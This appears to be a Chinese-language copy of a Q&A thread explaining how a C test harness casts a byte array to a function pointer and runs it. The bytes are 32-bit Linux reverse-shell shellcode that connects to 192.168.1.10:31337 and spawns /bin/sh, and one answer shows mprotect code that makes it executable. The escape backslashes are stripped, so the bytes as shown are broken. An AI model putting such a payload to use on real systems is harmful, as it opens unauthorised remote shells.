这是shellstorm的代码副本:
#include <stdio.h>
/*
ipaddr 192.168.1.10 (c0a8010a)
port 31337 (7a69)
*/
#define IPADDR "xc0xa8x01x0a"
#define PORT "x7ax69"
unsigned char code[] =
"x31xc0x31xdbx31xc9x31xd2"
"xb0x66xb3x01x51x6ax06x6a"
"x01x6ax02x89xe1xcdx80x89"
"xc6xb0x66x31xdbxb3x02x68"
IPADDR"x66x68"PORT"x66x53xfe"
"xc3x89xe1x6ax10x51x56x89"
"xe1xcdx80x31xc9xb1x03xfe"
"xc9xb0x3fxcdx80x75xf8x31"
"xc0x52x68x6ex2fx73x68x68"
"x2fx2fx62x69x89xe3x52x53"
"x89xe1x52x89xe2xb0x0bxcd"
"x80";
main()
{
printf("Shellcode Length: %dn", sizeof(code)-1);
int (*ret)() = (int(*)())code;
ret();
}
谁能帮我解释一下这个"int (ret)() = (int()())code;"? 它是如何工作的?为什么它可以使上面的代码运行?
int(*ret)()
声明一个名为ret
的函数指针;该函数接受未指定的参数并返回一个整数。
(int(*)())code
将code
数组强制转换为相同类型的函数指针。
因此,这会将code
数组的地址转换为函数指针,然后允许您调用它并执行代码。
请注意,这在技术上是未定义的行为,因此不必以这种方式工作。但这就是几乎所有实现编译此代码的方式。像这样的shellcode预计不会是可移植的 -code
数组中的字节取决于CPU架构和堆栈帧布局。
你应该读一本好的C编程书,比如Modern C。您甚至可以阅读此 C11 标准草案或查看此 C 参考网站。
int (*ret)()
声明一个指向返回int
-的函数的指针,而不指定参数(在 C 中)
然后= (int(*)())code;
使用code
的强制转换地址初始化ret
。
最后,ret();
调用该函数指针,从而调用code
数组中的机器代码。
顺便说一句,编译器(和链接器)可能会将code
放在只读但不可执行的段中(这可能取决于您的程序的链接方式)。然后你的 shell 代码可能不起作用。
我建议在编译器中启用所有警告和调试信息。在 2020 年的 GCC 中,这意味着使用gcc -Wall -Wextra -g
进行编译,然后使用 GDB。
在 Linux 上,您甚至可以使用 strace(1) 或 ltrace(1) 来理解可执行文件的行为。
int (*ret)()
将函数指针ret
定义为返回具有未指定参数数的int
的函数。
... = (int(*)())code;
将unsigned char
数组code
转换为ret
引用的函数类型,并将其分配给ret
。
此电话
ret();
然后执行存储在code
中的操作码。
总而言之,这不是一件好事。
int (*)()
是指向具有以下原型的函数的指针类型:
int func();
由于语言的解析方式和运算符的优先级,必须将星号放在括号中。此外,当声明该类型的指针变量时,变量的名称在星号之后而不是类型之后,例如它不是
int (*)() ret;
而是
int (*ret)();
在您的情况下,ret
变量既是声明的,也是使用涉及的类型强制转换进行初始化的。
若要通过函数指针调用函数,可以使用更复杂的语法:
(*ret)();
或者更简单的:
ret();
最好使用前一种语法,因为它向代码的读者指示ret
实际上是指向函数的指针,而不是函数本身。
现在,原则上代码实际上不应该工作。code[]
数组被放置在初始化的数据段中,在大多数现代操作系统中,数据段是不可执行的,即调用ret();
应该产生分段错误。例如,Linux 上的 GCC 将code
变量放在.data
部分:
.globl code
.data
.align 32
.type code, @object
.size code, 93
code:
.string "130013331...200"
然后.data
部分进入不可执行的读写段:
$ readelf --segments code.exe
Elf file type is EXEC (Executable file)
Entry point 0x4003c0
There are 8 program headers, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
PHDR 0x0000000000000040 0x0000000000400040 0x0000000000400040
0x00000000000001c0 0x00000000000001c0 R E 8
INTERP 0x0000000000000200 0x0000000000400200 0x0000000000400200
0x000000000000001c 0x000000000000001c R 1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000
0x000000000000064c 0x000000000000064c R E 100000
vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
LOAD 0x0000000000000650 0x0000000000500650 0x0000000000500650
0x0000000000000270 0x0000000000000278 RW 100000
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
DYNAMIC 0x0000000000000678 0x0000000000500678 0x0000000000500678
0x0000000000000190 0x0000000000000190 RW 8
NOTE 0x000000000000021c 0x000000000040021c 0x000000000040021c
0x0000000000000020 0x0000000000000020 R 4
GNU_EH_FRAME 0x0000000000000594 0x0000000000400594 0x0000000000400594
0x0000000000000024 0x0000000000000024 R 4
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RW 8
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version
.gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini
.rodata .eh_frame_hdr .eh_frame
03 .ctors .dtors .jcr .dynamic .got .got.plt .data .bss
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
04 .dynamic
05 .note.ABI-tag
06 .eh_frame_hdr
07
该段缺少可执行标志,即它只是RW
而不是RWE
,因此无法从该内存执行任何代码。事实上,运行该程序会导致存储在code
中的第一个指令出错:
(gdb) run
Starting program: /tmp/code.exe
Shellcode Length: 92
Program received signal SIGSEGV, Segmentation fault.
0x0000000000500860 in code ()
(gdb) up
#1 0x00000000004004a7 in main () at code.c:27
27 ret();
(gdb) print ret
$1 = (int (*)()) 0x500860 <code>
要使其正常工作,您可以使用posix_memalign
和mprotect
的组合来分配内存页并使其可执行,然后将code[]
的内容复制到其中:
// For posix_memalign()
#define _XOPEN_SOURCE 600
#include <stdlib.h>
// For memcpy()
#include <string.h>
// For sysconf()
#include <unistd.h>
// For mprotect()
#include <sys/mman.h>
size_t code_size = sizeof(code) - 1;
size_t page_size = sysconf(_SC_PAGESIZE);
int (*ret)();
printf("Shellcode Length: %dn", code_size);
posix_memalign(&ret, page_size, page_size);
mprotect(ret, page_size, PROT_READ|PROT_WRITE|PROT_EXEC);
memcpy(ret, code, code_size);
(*ret)();
另请注意,shell 代码使用int 0x80
来调用 Linux 内核。如果程序在 64 位 Linux 系统上编译,这将无法开箱即用,因为使用不同的机制进行系统调用。 在这种情况下,应指定-m32
以强制编译器生成 32 位可执行文件。
int (*ret)() = (int(*)())code;
int (*ret)()
定义一个指针,该指针指向返回int
并具有未指定数量的参数的函数;(int(*)())code
是类型转换,让另一部分可以code
视为函数指针,与ret
类型相同。
顺便说一下,取决于code
的内容 ,此代码可能仅适用于特定的 CPU 和操作系统组合,如果它甚至有效的话。
您的程序将产生未定义的行为。C99规范第6.2.5节第27段说:
指向 void 的指针应具有相同的表示和对齐方式 要求作为指向字符类型的指针。同样,指向的指针 兼容类型的合格或非合格版本应具有 相同的表示和对齐要求。所有指向的指针 结构类型应具有相同的表示和对齐方式 要求彼此。所有指向联合类型的指针都应具有 彼此相同的表示和对齐要求。指针 到其他类型不需要具有相同的表示或对齐方式 要求。
此外,在第6.3.2.3节第8段中,它还说:
指向一种类型的函数的指针可以转换为指向 另一种类型的功能,然后再次返回;结果应比较 等于原始指针。
这意味着不应将函数指针分配给非函数指针,因为不能保证函数指针的大小与char
指针或void
指针的大小相同。现在这些事情都解决了,让我们来看看你的代码。
int (*ret)() = (int(*)())code;
让我们先来看 lhs。因此,它将ret
定义为指向函数的指针,该函数采用固定但未知数量的参数和类型(听起来不太好)。在 rhs 上,您正在对数组进行类型转换code
,该数组的计算结果是指向其第一个元素的指针,该元素与ret
的类型相同。这是未定义的行为。由于上述原因,只能将函数指针分配给函数指针,而不能将指针分配给任何其他类型。此外,由于这个原因,运算符可能不会应用于函数指针sizeof
。
在C++
中,空参数列表表示void
,但在C
中并非如此,这意味着没有信息可用于检查调用者提供的参数列表。因此,您必须明确提及void
。因此,您最好将该语句编写为,假设现在您的程序中定义了一个名为code
的函数。
int code(void);
int (*ret)(void) = (int(*)(void))code;
为了简化有关复杂C
声明的事情,typedef
可能会有所帮助。
typedef int (*myfuncptr)(void);
这将类型myfuncptr
定义为类型pointer to a function taking no arguments and returning an int
。接下来,我们可以定义一个myfuncptr
类型的变量,就像我们在C
中定义任何类型的变量一样。但请注意,code
必须与ret
指向的函数类型具有相同的签名。如果使用myfuncptr
强制转换任何其他类型的函数指针,则会导致未定义的行为。因此,这使得类型转换变得多余。
int code(void);
int foo(int);
myfuncptr ret = code; // typecasting not needed. Same as- myfuncptr ret = &code;
myfuncptr bar = (myfuncptr)foo; // undefined behaviour.
当您将函数名称分配给相同类型的函数指针时,函数名称的计算结果为指针。您不需要使用运算符&
的地址。同样,您可以调用指针指向的函数,而无需先取消引用它。
ret(); // call the function pointed to by ret
(*ret)() // deferencing ret first.
有关详细信息,请阅读此内容 - 将函数指针转换为另一种类型。这里有一个关于如何在心理上解析复杂C
声明的好资源 - 顺时针/螺旋规则。 另请注意,C
标准只规定了两个可接受的main
签名:
int main(void);
int main(int argc, char *argv[]);